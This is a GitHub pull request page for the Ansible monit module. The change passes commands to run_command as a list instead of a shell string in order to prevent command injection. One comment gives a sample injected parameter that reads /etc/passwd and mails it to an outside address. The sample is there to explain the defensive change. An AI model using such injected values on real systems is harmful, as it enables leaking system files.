Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

monit - invoke run_command passing list #3821

Merged
merged 6 commits into from Dec 2, 2021
Merged

monit - invoke run_command passing list #3821

merged 6 commits into from Dec 2, 2021

Conversation

russoz
Copy link
Collaborator

@russoz russoz commented Nov 30, 2021

SUMMARY

Passing command as list instead of as string.

ISSUE TYPE
  • Feature Pull Request
COMPONENT NAME

plugins/modules/monitoring/monit.py

@ansibullbot
Copy link
Collaborator

@ansibullbot ansibullbot added feature This issue/PR relates to a feature request module module monitoring plugins plugin (any type) labels Nov 30, 2021
@snopoke
Copy link
Contributor

snopoke commented Nov 30, 2021

@russoz thanks for the contribution. Can you update the description to indicate why the change is beneficial. Also the tests need to be updated.

@ansibullbot ansibullbot added needs_ci This PR requires CI testing to be performed. Please close and re-open this PR to trigger CI needs_revision This PR fails CI tests or a maintainer has requested a review/revision of the PR and removed needs_ci This PR requires CI testing to be performed. Please close and re-open this PR to trigger CI labels Nov 30, 2021
@russoz
Copy link
Collaborator Author

russoz commented Nov 30, 2021

@russoz thanks for the contribution. Can you update the description to indicate why the change is beneficial. Also the tests need to be updated.

The AnsibleModule.run_command() method is able to process commands passed to it (the first argument) as both str and list. However, when passing as str, that string is then passed to a shell command (/bin/sh?) and executed as string, whereas when passing a list, each element of the list becomes a command-line argument. For more details please see https://docs.python.org/3/library/subprocess.html#frequently-used-arguments about the args argument to Popen, which is (directly or indirectly) the underlying component used to execute external commands. I would add to the point that making that call with a str argument is inherently less safe than list, because of the possibility injecting code for the shell to parse - if a CLI argument comes from a module parameter, then a malicious user could send a parameter value like ; cat /etc/passwd | mail -s groceries evil@address.me.

I have been changing the modules in c.g. to use a list as the first run_command() argument as a general improvement measure. There is no specific threat or actual problem that has been identified, as far as I know.

Hope that clarifies it, but I will be happy to assist further if needed.

Yes, I have to fix the tests: I recall having runnning them locally and working, but most likely I didn't. I have submitted a handful of similar tickets, one for each module, it's easy to have missed something.

Thanks for being on top of it: that was the first time a module owner replied a PR in less than 10min of me submitting it. :-)

@ansibullbot ansibullbot added tests tests unit tests/unit labels Dec 1, 2021
@felixfontein felixfontein added backport-4 check-before-release PR will be looked at again shortly before release and merged if possible. labels Dec 1, 2021
@ansibullbot ansibullbot added needs_ci This PR requires CI testing to be performed. Please close and re-open this PR to trigger CI needs_revision This PR fails CI tests or a maintainer has requested a review/revision of the PR and removed needs_revision This PR fails CI tests or a maintainer has requested a review/revision of the PR needs_ci This PR requires CI testing to be performed. Please close and re-open this PR to trigger CI labels Dec 1, 2021
@ansibullbot ansibullbot added needs_revision This PR fails CI tests or a maintainer has requested a review/revision of the PR and removed needs_revision This PR fails CI tests or a maintainer has requested a review/revision of the PR labels Dec 2, 2021
@felixfontein felixfontein removed the check-before-release PR will be looked at again shortly before release and merged if possible. label Dec 2, 2021
@felixfontein felixfontein merged commit 52d4907 into ansible-collections:main Dec 2, 2021
@patchback
Copy link

patchback bot commented Dec 2, 2021

Backport to stable-4: 💚 backport PR created

✅ Backport PR branch: patchback/backports/stable-4/52d4907480a555167e503f93e728379ed56295b4/pr-3821

Backported as #3832

🤖 @patchback
I'm built with octomachinery and
my source is open — https://github.com/sanitizers/patchback-github-app.

@felixfontein
Copy link
Collaborator

@russoz thanks again!

patchback bot pushed a commit that referenced this pull request Dec 2, 2021
* monit - invoke run_command passing list

* added changelog fragment

* fixed unit test

* further adjustments

* fixed handling of command_args

* better handling of command_args

(cherry picked from commit 52d4907)
@russoz russoz deleted the monit-run-list branch December 2, 2021 06:56
felixfontein pushed a commit that referenced this pull request Dec 2, 2021
* monit - invoke run_command passing list

* added changelog fragment

* fixed unit test

* further adjustments

* fixed handling of command_args

* better handling of command_args

(cherry picked from commit 52d4907)

Co-authored-by: Alexei Znamensky <103110+russoz@users.noreply.github.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
feature This issue/PR relates to a feature request module module monitoring plugins plugin (any type) tests tests unit tests/unit
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

4 participants